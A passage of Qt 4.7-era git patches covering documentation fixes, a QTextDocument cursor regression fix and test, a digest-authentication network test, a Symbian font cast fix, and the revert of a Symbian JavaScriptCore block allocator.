-        t << "OPTION LINK_TARGET " << removePathSeparators(escapeFilePath(fileFixify(project->first("TARGET"))).append(".").append(getTargetExtension())) << endl;
+        t << "OPTION LINK_TARGET " << fixedTarget << QLatin1String(".") << getTargetExtension() << endl;
         t << "END" << endl;
         t << endl;
     }
-- 
cgit v0.12


From ee9f4d82f4259a8db11a56808acab77eb21e3510 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Tue, 25 Jan 2011 13:26:29 +0100
Subject: Doc: Fixed qdoc warning.

---
 src/plugins/bearer/icd/dbusdispatcher.cpp | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/plugins/bearer/icd/dbusdispatcher.cpp b/src/plugins/bearer/icd/dbusdispatcher.cpp
index 5fc2a38..5f9be74 100644
--- a/src/plugins/bearer/icd/dbusdispatcher.cpp
+++ b/src/plugins/bearer/icd/dbusdispatcher.cpp
@@ -51,10 +51,10 @@
 namespace Maemo {
 
 /*!
-    \class DBusDispatcher
+    \class Maemo::DBusDispatcher
 
-    \brief DBusDispatcher is a class, which is able to send DBUS method call
-    messages and receive unicast signals from DBUS object.
+    \brief DBusDispatcher is a class that can send DBUS method call
+    messages and receive unicast signals from DBUS objects.
 */
 
 class DBusDispatcherPrivate
-- 
cgit v0.12


From c53832da5da7ad6cec6e809c30a06c8771bb9885 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Tue, 25 Jan 2011 13:42:22 +0100
Subject: Doc: Fixed a broken link.

---
 doc/src/external-resources.qdoc | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/doc/src/external-resources.qdoc b/doc/src/external-resources.qdoc
index 4003e56..7639324 100644
--- a/doc/src/external-resources.qdoc
+++ b/doc/src/external-resources.qdoc
@@ -453,3 +453,8 @@
     \externalpage http://www.libusb.org/
     \title libusb
 */
+
+/*!
+    \externalpage http://publicsuffix.org/
+    \title publicsuffix.org
+*/
-- 
cgit v0.12


From 34c297faca93e1286573b2a01127e4e7af00aff2 Mon Sep 17 00:00:00 2001
From: Jiang Jiang 
Date: Mon, 24 Jan 2011 19:09:38 +0100
Subject: Fix cursor position adjustment when removing strings

Commit 0ba1b4d0 introduced a regression to QTextDocument: it postponed
cursor position adjustment until the move operation is done, but
contentsChanged will be triggered by finishEdit() in this move
operation, thus cursor positions in this signal handler will be in
inconsistent states (normally we should first update cursor position
then trigger contentsChanged). In this case we should also postpone
finishEdit() handling after cursor positions have been adjusted, then
the states expose to applications will be consistent.

Task-number: QTBUG-15857
Reviewed-by: Eskil
---
 src/gui/text/qtextdocument_p.cpp           |  4 +++-
 tests/auto/qtextcursor/tst_qtextcursor.cpp | 28 ++++++++++++++++++++++++++++
 2 files changed, 31 insertions(+), 1 deletion(-)

diff --git a/src/gui/text/qtextdocument_p.cpp b/src/gui/text/qtextdocument_p.cpp
index 498a432..2172f74 100644
--- a/src/gui/text/qtextdocument_p.cpp
+++ b/src/gui/text/qtextdocument_p.cpp
@@ -663,7 +663,8 @@ void QTextDocumentPrivate::move(int pos, int to, int length, QTextUndoCommand::O
 
     Q_ASSERT(blocks.length() == fragments.length());
 
-    finishEdit();
+    if (!blockCursorAdjustment)
+        finishEdit();
 }
 
 void QTextDocumentPrivate::remove(int pos, int length, QTextUndoCommand::Operation op)
@@ -678,6 +679,7 @@ void QTextDocumentPrivate::remove(int pos, int length, QTextUndoCommand::Operati
             curs->changed = true;
         }
     }
+    finishEdit();
 }
 
 void QTextDocumentPrivate::setCharFormat(int pos, int length, const QTextCharFormat &newFormat, FormatChangeMode mode)
diff --git a/tests/auto/qtextcursor/tst_qtextcursor.cpp b/tests/auto/qtextcursor/tst_qtextcursor.cpp
index ee2baef..4d52dd7 100644
--- a/tests/auto/qtextcursor/tst_qtextcursor.cpp
+++ b/tests/auto/qtextcursor/tst_qtextcursor.cpp
@@ -134,6 +134,7 @@ private slots:
     void endOfLine();
 
     void editBlocksDuringRemove();
+    void selectAllDuringRemove();
 
     void update_data();
     void update();
@@ -1388,6 +1389,17 @@ public slots:
         ++recordingCount;
     }
 
+    void selectAllContents()
+    {
+        // Only test the first time
+        if (!recordingCount) {
+            recordingCount++;
+            cursor->select(QTextCursor::Document);
+            lastRecordedPosition = cursor->position();
+            lastRecordedAnchor = cursor->anchor();
+        }
+    }
+
 private:
     QTextCursor *cursor;
 };
@@ -1411,6 +1423,22 @@ void tst_QTextCursor::editBlocksDuringRemove()
     QVERIFY(doc->toPlainText().isEmpty());
 }
 
+void tst_QTextCursor::selectAllDuringRemove()
+{
+    CursorListener listener(&cursor);
+
+    cursor.insertText("Hello World");
+    cursor.movePosition(QTextCursor::End);
+
+    connect(doc, SIGNAL(contentsChanged()), &listener, SLOT(selectAllContents()));
+    listener.recordingCount = 0;
+    QTextCursor localCursor = cursor;
+    localCursor.deletePreviousChar();
+
+    QCOMPARE(listener.lastRecordedPosition, 10);
+    QCOMPARE(listener.lastRecordedAnchor, 0);
+}
+
 void tst_QTextCursor::update_data()
 {
     QTest::addColumn("text");
-- 
cgit v0.12


From 422514d98ac9a6c4df36caad81e6f315f3b80086 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Tue, 25 Jan 2011 13:43:32 +0100
Subject: Doc: Fixed broken QML code snippets.

---
 doc/src/declarative/qdeclarativeintro.qdoc        | 17 +++++++++--------
 src/declarative/util/qdeclarativexmllistmodel.cpp |  2 ++
 2 files changed, 11 insertions(+), 8 deletions(-)

diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc
index 4b7dce5..9b96d43 100644
--- a/doc/src/declarative/qdeclarativeintro.qdoc
+++ b/doc/src/declarative/qdeclarativeintro.qdoc
@@ -160,19 +160,19 @@ characters other than letters, numbers and underscores.
 
 JavaScript expressions can be used to assign property values. For example:
 
-\code
+\qml
 Item {
     width: 100 * 3
     height: 50 + 22
 }
-\endcode
+\endqml
 
 These expressions can include references to other objects and properties, in which case
 a \l{Property Binding}{binding} is established: when the value of the expression changes,
 the property to which the expression is assigned is automatically updated to the
 new value. For example:
 
-\code
+\qml
 Item {
     width: 300
     height: 300
@@ -183,7 +183,7 @@ Item {
         color: "yellow"
     }
 }
-\endcode
+\endqml
 
 Here, the \l Rectangle object's \c width property is set relative to the width
 of its parent. Whenever the parent's width changes, the width of the \l Rectangle is
@@ -330,7 +330,7 @@ element that attaches \e property.
 For example, the \l ListView element attaches the \e ListView.isCurrentItem property
 to each delegate it creates:
 
-\code
+\qml
 Component {
     id: myDelegate
     Text {
@@ -338,10 +338,13 @@ Component {
         color: ListView.isCurrentItem ? "red" : "blue"
     }
 }
+\endqml
+
+\qml
 ListView {
     delegate: myDelegate
 }
-\endcode
+\endqml
 
 Another example of attached properties is the \l Keys element which
 attaches properties for handling key presses to
@@ -390,6 +393,4 @@ MouseArea {
     }
 }
 \endqml
-
-
 */
diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp
index c582df1..6b13e88 100644
--- a/src/declarative/util/qdeclarativexmllistmodel.cpp
+++ b/src/declarative/util/qdeclarativexmllistmodel.cpp
@@ -96,7 +96,9 @@ typedef QPair QDeclarativeXmlListRange;
             query: "title/string()"
         }
     }
+    \endqml
 
+    \qml
     ListView {
         model: xmlModel
         delegate: Text { text: title }
-- 
cgit v0.12


From 67fbf125f3f96ea0ff0da66b1dd8b7dd348ca69f Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Tue, 25 Jan 2011 13:46:42 +0100
Subject: Doc: Fixed errors in the address book tutorial.

Task-number: QTBUG-16865
---
 doc/src/tutorials/addressbook.qdoc                   | 2 +-
 examples/tutorials/addressbook/part6/addressbook.cpp | 2 +-
 examples/tutorials/addressbook/part7/addressbook.cpp | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/doc/src/tutorials/addressbook.qdoc b/doc/src/tutorials/addressbook.qdoc
index cbc918f..ec4a4f3 100644
--- a/doc/src/tutorials/addressbook.qdoc
+++ b/doc/src/tutorials/addressbook.qdoc
@@ -831,7 +831,7 @@
     \snippet tutorials/addressbook/part6/addressbook.cpp tooltip 2
 
     Although it is not shown here, just like the other features we implemented,
-    we add the push buttons to the layout panel on the right, \c button1Layout,
+    we add the push buttons to the layout panel on the right, \c buttonLayout1,
     and we connect the push buttons' \l{QPushButton::clicked()}{clicked()}
     signals to their respective slots.
 
diff --git a/examples/tutorials/addressbook/part6/addressbook.cpp b/examples/tutorials/addressbook/part6/addressbook.cpp
index 64615c7..c7dc8e2 100644
--- a/examples/tutorials/addressbook/part6/addressbook.cpp
+++ b/examples/tutorials/addressbook/part6/addressbook.cpp
@@ -74,7 +74,7 @@ AddressBook::AddressBook(QWidget *parent)
 //! [tooltip 1]    
     loadButton->setToolTip(tr("Load contacts from a file"));
 //! [tooltip 1]        
-    saveButton = new QPushButton(tr("Sa&ve..."));
+    saveButton = new QPushButton(tr("&Save..."));
 //! [tooltip 2]
     saveButton->setToolTip(tr("Save contacts to a file"));
 //! [tooltip 2]
diff --git a/examples/tutorials/addressbook/part7/addressbook.cpp b/examples/tutorials/addressbook/part7/addressbook.cpp
index b04198c..501ad31 100644
--- a/examples/tutorials/addressbook/part7/addressbook.cpp
+++ b/examples/tutorials/addressbook/part7/addressbook.cpp
@@ -72,7 +72,7 @@ AddressBook::AddressBook(QWidget *parent)
 
     loadButton = new QPushButton(tr("&Load..."));
     loadButton->setToolTip(tr("Load contacts from a file"));
-    saveButton = new QPushButton(tr("Sa&ve..."));
+    saveButton = new QPushButton(tr("&Save..."));
     saveButton->setToolTip(tr("Save contacts to a file"));
     saveButton->setEnabled(false);
 
-- 
cgit v0.12


From c6a6448272168f0105c973bef5e531114533fc90 Mon Sep 17 00:00:00 2001
From: Peter Hartmann 
Date: Mon, 24 Jan 2011 14:22:57 +0100
Subject: add autotest for digest authentication

Reviewed-by: Markus Goetz
Task-number: QTBUG-15070
---
 tests/auto/qnetworkreply/tst_qnetworkreply.cpp | 30 +++++++++++++++++---------
 1 file changed, 20 insertions(+), 10 deletions(-)

diff --git a/tests/auto/qnetworkreply/tst_qnetworkreply.cpp b/tests/auto/qnetworkreply/tst_qnetworkreply.cpp
index bd22837..8274140 100644
--- a/tests/auto/qnetworkreply/tst_qnetworkreply.cpp
+++ b/tests/auto/qnetworkreply/tst_qnetworkreply.cpp
@@ -212,6 +212,7 @@ private Q_SLOTS:
     void ioGetFromBuiltinHttp();
     void ioGetFromHttpWithReuseParallel();
     void ioGetFromHttpWithReuseSequential();
+    void ioGetFromHttpWithAuth_data();
     void ioGetFromHttpWithAuth();
     void ioGetFromHttpWithAuthSynchronous();
     void ioGetFromHttpWithProxyAuth();
@@ -2163,15 +2164,27 @@ void tst_QNetworkReply::ioGetFromHttpWithReuseSequential()
     }
 }
 
+void tst_QNetworkReply::ioGetFromHttpWithAuth_data()
+{
+    QTest::addColumn("url");
+    QTest::addColumn("expectedData");
+
+    QFile reference(SRCDIR "/rfc3252.txt");
+    reference.open(QIODevice::ReadOnly);
+    QByteArray referenceData = reference.readAll();
+    QTest::newRow("basic") << QUrl("http://" + QtNetworkSettings::serverName() + "/qtest/rfcs-auth/rfc3252.txt") << referenceData;
+    QTest::newRow("digest") << QUrl("http://" + QtNetworkSettings::serverName() + "/qtest/auth-digest/") << QByteArray("digest authentication successful\n");
+}
+
 void tst_QNetworkReply::ioGetFromHttpWithAuth()
 {
     // This test sends three requests
     // The first two in parallel
     // The third after the first two finished
-    QFile reference(SRCDIR "/rfc3252.txt");
-    QVERIFY(reference.open(QIODevice::ReadOnly));
 
-    QNetworkRequest request(QUrl("http://" + QtNetworkSettings::serverName() + "/qtest/rfcs-auth/rfc3252.txt"));
+    QFETCH(QUrl, url);
+    QFETCH(QByteArray, expectedData);
+    QNetworkRequest request(url);
     {
         QNetworkReplyPtr reply1 = manager.get(request);
         QNetworkReplyPtr reply2 = manager.get(request);
@@ -2196,14 +2209,12 @@ void tst_QNetworkReply::ioGetFromHttpWithAuth()
 
         QCOMPARE(reply1->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(), 200);
         QCOMPARE(reply2->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(), 200);
-        QByteArray referenceData = reference.readAll();
-        QCOMPARE(reader1.data, referenceData);
-        QCOMPARE(reader2.data, referenceData);
+        QCOMPARE(reader1.data, expectedData);
+        QCOMPARE(reader2.data, expectedData);
 
         QCOMPARE(authspy.count(), 1);
     }
 
-    reference.seek(0);
     // rinse and repeat:
     {
         QNetworkReplyPtr reply = manager.get(request);
@@ -2219,13 +2230,12 @@ void tst_QNetworkReply::ioGetFromHttpWithAuth()
                            this, SLOT(authenticationRequired(QNetworkReply*,QAuthenticator*)));
 
         QCOMPARE(reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(), 200);
-        QCOMPARE(reader.data, reference.readAll());
+        QCOMPARE(reader.data, expectedData);
 
         QCOMPARE(authspy.count(), 0);
     }
 
     // now check with synchronous calls:
-    reference.seek(0);
     {
         request.setAttribute(
                 static_cast(SynchronousRequestAttribute),
@@ -2241,7 +2251,7 @@ void tst_QNetworkReply::ioGetFromHttpWithAuth()
 
         // the only thing we check here is that the auth cache was used when using synchronous requests
         QCOMPARE(replySync->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(), 200);
-        QCOMPARE(replySync->readAll(), reference.readAll());
+        QCOMPARE(replySync->readAll(), expectedData);
     }
 }
 
-- 
cgit v0.12


From cb38007cd3b253fb2e3a8587ae9e64080e707a31 Mon Sep 17 00:00:00 2001
From: Eckhart Koppen 
Date: Tue, 25 Jan 2011 15:11:33 +0200
Subject: Temporary fix for ambiguous cast from four letter char constant

---
 src/gui/text/qfontdatabase_s60.cpp | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/gui/text/qfontdatabase_s60.cpp b/src/gui/text/qfontdatabase_s60.cpp
index ad67189..97426a8 100644
--- a/src/gui/text/qfontdatabase_s60.cpp
+++ b/src/gui/text/qfontdatabase_s60.cpp
@@ -721,7 +721,7 @@ static inline bool ttfMarkAppFont(QByteArray &ttf, const QString &marker)
         memoryRanges.append(Range(offset, lengthAligned));
 
         quint32 checkSum = qFromBigEndian(tableRecord->checkSum);
-        if (tableRecord->tag == qToBigEndian('head')) {
+        if (tableRecord->tag == qToBigEndian(static_cast('head'))) {
             if (length < ttfCheckSumAdjustmentOffset + sizeof(quint32))
                 return false; // Invalid 'head' table
             const quint32 *checkSumAdjustmentTag =
@@ -735,7 +735,7 @@ static inline bool ttfMarkAppFont(QByteArray &ttf, const QString &marker)
 
         bool updateTableChecksum = false;
         QByteArray table;
-        if (tableRecord->tag == qToBigEndian('name')) {
+        if (tableRecord->tag == qToBigEndian(static_cast('name'))) {
             table = QByteArray(ttf.constData() + offset, length);
             if (!ttfMarkNameTable(table, marker))
                 return false; // Name table was not markable.
-- 
cgit v0.12


From f0667b4b439f87f8bd613add148e94d520e77be1 Mon Sep 17 00:00:00 2001
From: Kent Hansen 
Date: Tue, 25 Jan 2011 16:50:22 +0100
Subject: Revert "QtScript/JSC on Symbian: Enhanced memory allocator for
 Collector heap"

This reverts commit 7db489a0de073a2a56fe32d16f1cbe1bebdfd06d.

The change to CollectorHeapIterator.h is not Symbian-specific and
it introduced test failures on all platforms
(tst_QScriptEngineAgent::positionChange_3()).
---
 .../javascriptcore/JavaScriptCore/ChangeLog        |  28 -----
 .../JavaScriptCore/JavaScriptCore.pri              |   3 -
 .../JavaScriptCore/runtime/Collector.cpp           |  46 +++++--
 .../JavaScriptCore/runtime/Collector.h             |   9 --
 .../JavaScriptCore/runtime/CollectorHeapIterator.h |  10 +-
 .../wtf/symbian/BlockAllocatorSymbian.cpp          | 132 ---------------------
 .../wtf/symbian/BlockAllocatorSymbian.h            | 120 -------------------
 src/3rdparty/javascriptcore/VERSION                |   4 +-
 src/script/script.pro                              |   1 +
 9 files changed, 44 insertions(+), 309 deletions(-)
 delete mode 100644 src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
 delete mode 100644 src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h

diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
index c2b1155..fd6c3f7 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
@@ -232,34 +232,6 @@
         without using doubles, but the code would be much more complicated, and there is no important
         reason to stick to integers here.
 
-2010-03-22  Siddharth Mathur  
-
-        Reviewed by Laszlo Gombos.
-
-        [Symbian] More efficient aligned memory allocation for JSC Collector
-        https://bugs.webkit.org/show_bug.cgi?id=34350
-
-        * JavaScriptCore.pri: Added 2 new Symbian source files and HAL linkage
-
-        * runtime/Collector.cpp: Reduced port-specific code and added private data member
-        (JSC::Heap::Heap):
-        (JSC::Heap::~Heap):
-        (JSC::Heap::destroy):
-        (JSC::Heap::allocateBlock):
-        (JSC::Heap::freeBlockPtr):
-
-        * runtime/Collector.h: Added private data member
-
-        * wtf/symbian: Added.
-        * wtf/symbian/BlockAllocatorSymbian.cpp: Added.
-        (WTF::AlignedBlockAllocator::AlignedBlockAllocator): Helper class to allocate 
-        aligned blocks more efficiently as required by Collector
-        (WTF::AlignedBlockAllocator::alloc):
-        (WTF::AlignedBlockAllocator::free):
-        (WTF::AlignedBlockAllocator::destroy):
-        (WTF::AlignedBlockAllocator::~AlignedBlockAllocator):
-        * wtf/symbian/BlockAllocatorSymbian.h: Added.
-
 2010-03-22  Geoffrey Garen  
 
         Reviewed by Sam Weinig.
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri b/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
index b061321..d75bd31 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
@@ -16,7 +16,6 @@ CONFIG(debug, debug|release) {
 symbian: {
     # Need to guarantee this comes before system includes of /epoc32/include
     MMP_RULES += "USERINCLUDE ../JavaScriptCore/profiler"
-    LIBS += -lhal
 }
 
 INCLUDEPATH = \
@@ -34,7 +33,6 @@ INCLUDEPATH = \
     $$PWD/runtime \
     $$PWD/wrec \
     $$PWD/wtf \
-    $$PWD/wtf/symbian \
     $$PWD/wtf/unicode \
     $$PWD/yarr \
     $$PWD/API \
@@ -213,7 +211,6 @@ SOURCES += \
     wtf/qt/ThreadingQt.cpp \
     wtf/RandomNumber.cpp \
     wtf/RefCountedLeakCounter.cpp \
-    wtf/symbian/BlockAllocatorSymbian.cpp \
     wtf/symbian/RegisterFileAllocatorSymbian.cpp \
     wtf/ThreadingNone.cpp \
     wtf/Threading.cpp \
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
index 42e2a35..24873c8 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
@@ -53,6 +53,11 @@
 #include 
 #include 
 
+#elif OS(SYMBIAN)
+#include 
+#include 
+#include 
+
 #elif OS(WINDOWS)
 
 #include 
@@ -104,6 +109,11 @@ const size_t ALLOCATIONS_PER_COLLECTION = 3600;
 // a PIC branch in Mach-O binaries, see .
 #define MIN_ARRAY_SIZE (static_cast(14))
 
+#if OS(SYMBIAN)
+const size_t MAX_NUM_BLOCKS = 256; // Max size of collector heap set to 16 MB
+static RHeap* userChunk = 0;
+#endif
+
 #if ENABLE(JSC_MULTIPLE_THREADS)
 
 #if OS(DARWIN)
@@ -136,11 +146,29 @@ Heap::Heap(JSGlobalData* globalData)
     , m_currentThreadRegistrar(0)
 #endif
     , m_globalData(globalData)
-#if OS(SYMBIAN)
-    , m_blockallocator(JSCCOLLECTOR_VIRTUALMEM_RESERVATION, BLOCK_SIZE)
-#endif
 {
     ASSERT(globalData);
+    
+#if OS(SYMBIAN)
+    // Symbian OpenC supports mmap but currently not the MAP_ANON flag.
+    // Using fastMalloc() does not properly align blocks on 64k boundaries
+    // and previous implementation was flawed/incomplete.
+    // UserHeap::ChunkHeap allows allocation of continuous memory and specification
+    // of alignment value for (symbian) cells within that heap.
+    //
+    // Clarification and mapping of terminology:
+    // RHeap (created by UserHeap::ChunkHeap below) is continuos memory chunk,
+    // which can dynamically grow up to 8 MB,
+    // that holds all CollectorBlocks of this session (static).
+    // Each symbian cell within RHeap maps to a 64kb aligned CollectorBlock.
+    // JSCell objects are maintained as usual within CollectorBlocks.
+    if (!userChunk) {
+        userChunk = UserHeap::ChunkHeap(0, 0, MAX_NUM_BLOCKS * BLOCK_SIZE, BLOCK_SIZE, BLOCK_SIZE);
+        if (!userChunk)
+            CRASH();
+    }
+#endif // OS(SYMBIAN)
+    
     memset(&m_heap, 0, sizeof(CollectorHeap));
     allocateBlock();
 }
@@ -183,9 +211,7 @@ void Heap::destroy()
         t = next;
     }
 #endif
-#if OS(SYMBIAN)
-    m_blockallocator.destroy();
-#endif
+
     m_globalData = 0;
 }
 
@@ -195,9 +221,11 @@ NEVER_INLINE CollectorBlock* Heap::allocateBlock()
     vm_address_t address = 0;
     vm_map(current_task(), &address, BLOCK_SIZE, BLOCK_OFFSET_MASK, VM_FLAGS_ANYWHERE | VM_TAG_FOR_COLLECTOR_MEMORY, MEMORY_OBJECT_NULL, 0, FALSE, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_DEFAULT);
 #elif OS(SYMBIAN)
-    void* address = m_blockallocator.alloc();  
-    if (!address)
+    // Allocate a 64 kb aligned CollectorBlock
+    unsigned char* mask = reinterpret_cast(userChunk->Alloc(BLOCK_SIZE));
+    if (!mask)
         CRASH();
+    uintptr_t address = reinterpret_cast(mask);
 #elif OS(WINCE)
     void* address = VirtualAlloc(NULL, BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 #elif OS(WINDOWS)
@@ -288,7 +316,7 @@ NEVER_INLINE void Heap::freeBlockPtr(CollectorBlock* block)
 #if OS(DARWIN)    
     vm_deallocate(current_task(), reinterpret_cast(block), BLOCK_SIZE);
 #elif OS(SYMBIAN)
-    m_blockallocator.free(reinterpret_cast(block));
+    userChunk->Free(reinterpret_cast(block));
 #elif OS(WINCE)
     VirtualFree(block, 0, MEM_RELEASE);
 #elif OS(WINDOWS)
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
index d3616dc..7f7a679 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
@@ -35,10 +35,6 @@
 #include 
 #endif
 
-#if OS(SYMBIAN)
-#include 
-#endif
-
 #define ASSERT_CLASS_FITS_IN_CELL(class) COMPILE_ASSERT(sizeof(class) <= CELL_SIZE, class_fits_in_cell)
 
 namespace JSC {
@@ -171,11 +167,6 @@ namespace JSC {
         pthread_key_t m_currentThreadRegistrar;
 #endif
 
-#if OS(SYMBIAN)
-        // Allocates collector blocks with correct alignment
-        WTF::AlignedBlockAllocator m_blockallocator; 
-#endif
-        
         JSGlobalData* m_globalData;
     };
 
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h
index e4f2f91..4a38df9 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h
@@ -97,14 +97,12 @@ namespace JSC {
 
     inline LiveObjectIterator& LiveObjectIterator::operator++()
     {
-        if (m_block < m_heap.nextBlock || m_cell < m_heap.nextCell) {
-            advance(HeapConstants::cellsPerBlock);
+        advance(HeapConstants::cellsPerBlock - 1);
+        if (m_block < m_heap.nextBlock || (m_block == m_heap.nextBlock && m_cell < m_heap.nextCell))
             return *this;
-        }
 
-        do {
-            advance(HeapConstants::cellsPerBlock);
-        } while (m_block < m_heap.usedBlocks && !m_heap.blocks[m_block]->marked.get(m_cell));
+        while (m_block < m_heap.usedBlocks && !m_heap.blocks[m_block]->marked.get(m_cell))
+            advance(HeapConstants::cellsPerBlock - 1);
         return *this;
     }
 
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
deleted file mode 100644
index 6a28e9e..0000000
--- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- *
- * 1.  Redistributions of source code must retain the above copyright
- *     notice, this list of conditions and the following disclaimer. 
- * 2.  Redistributions in binary form must reproduce the above copyright
- *     notice, this list of conditions and the following disclaimer in the
- *     documentation and/or other materials provided with the distribution. 
- * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
- *     its contributors may be used to endorse or promote products derived
- *     from this software without specific prior written permission. 
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
- * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
- * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
- * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
- * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
- * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
- * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
- * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include "config.h"
-
-#if OS(SYMBIAN)
-
-#include "BlockAllocatorSymbian.h"
-
-
-namespace WTF {
-
-/** Efficiently allocates blocks of size blockSize with blockSize alignment. 
- * Primarly designed for JSC Collector's needs. 
- * Not thread-safe.    
- */
-AlignedBlockAllocator::AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize )
-    : m_reservation(reservationSize), 
-      m_blockSize(blockSize)
-{
-
-     // Get system's page size value.
-     SYMBIAN_PAGESIZE(m_pageSize); 
-     
-     // We only accept multiples of system page size for both initial reservation and the alignment/block size
-     m_reservation = SYMBIAN_ROUNDUPTOMULTIPLE(m_reservation, m_pageSize);
-     __ASSERT_ALWAYS(SYMBIAN_ROUNDUPTOMULTIPLE(m_blockSize, m_pageSize), User::Panic(_L("AlignedBlockAllocator1"), KErrArgument));
-     
-     // Calculate max. bit flags we need to carve a reservationSize range into blockSize-sized blocks
-     m_map.numBits = m_reservation / m_blockSize;   
-     const TUint32 bitsPerWord = 8*sizeof(TUint32); 
-     const TUint32 numWords = (m_map.numBits + bitsPerWord -1) / bitsPerWord; 
-   
-     m_map.bits = new TUint32[numWords];
-     __ASSERT_ALWAYS(m_map.bits, User::Panic(_L("AlignedBlockAllocator2"), KErrNoMemory));
-     m_map.clearAll();
-     
-     // Open a Symbian RChunk, and reserve requested virtual address range   
-     // Any thread in this process can operate this rchunk due to EOwnerProcess access rights. 
-     TInt ret = m_chunk.CreateDisconnectedLocal(0 , 0, (TInt)m_reservation , EOwnerProcess);  
-     if (ret != KErrNone) 
-         User::Panic(_L("AlignedBlockAllocator3"), ret);
-       
-     // This is the offset to m_chunk.Base() required to make it m_blockSize-aligned
-     m_offset = SYMBIAN_ROUNDUPTOMULTIPLE(TUint32(m_chunk.Base()), m_blockSize) - TUint(m_chunk.Base()); 
-
-}
-
-void* AlignedBlockAllocator::alloc()
-{
-
-    TInt  freeRam = 0; 
-    void* address = 0;
-    
-    // Look up first free slot in bit map
-    const TInt freeIdx = m_map.findFree();
-        
-    // Pseudo OOM: We ate up the address space we reserved..
-    // ..even though the device may have free RAM left
-    if (freeIdx < 0)
-        return 0;
-        
-    TInt ret = m_chunk.Commit(m_offset + (m_blockSize * freeIdx), m_blockSize);
-    if (ret != KErrNone)  
-        return 0; // True OOM: Device didn't have physical RAM to spare
-        
-    // Updated bit to mark region as in use. 
-    m_map.set(freeIdx); 
-    
-    // Calculate address of committed region (block)
-    address = (void*)( (m_chunk.Base() + m_offset) + (TUint)(m_blockSize * freeIdx) );
-    
-    return address;
-}
-
-void AlignedBlockAllocator::free(void* block)
-{
-    // Calculate index of block to be freed
-    TInt idx = TUint(static_cast(block) - m_chunk.Base() - m_offset) / m_blockSize;
-    
-    __ASSERT_DEBUG(idx >= 0 && idx < m_map.numBits, User::Panic(_L("AlignedBlockAllocator4"), KErrCorrupt)); // valid index check
-    __ASSERT_DEBUG(m_map.get(idx), User::Panic(_L("AlignedBlockAllocator5"), KErrCorrupt)); // in-use flag check    
-    
-    // Return committed region to system RAM pool (the physical RAM becomes usable by others)
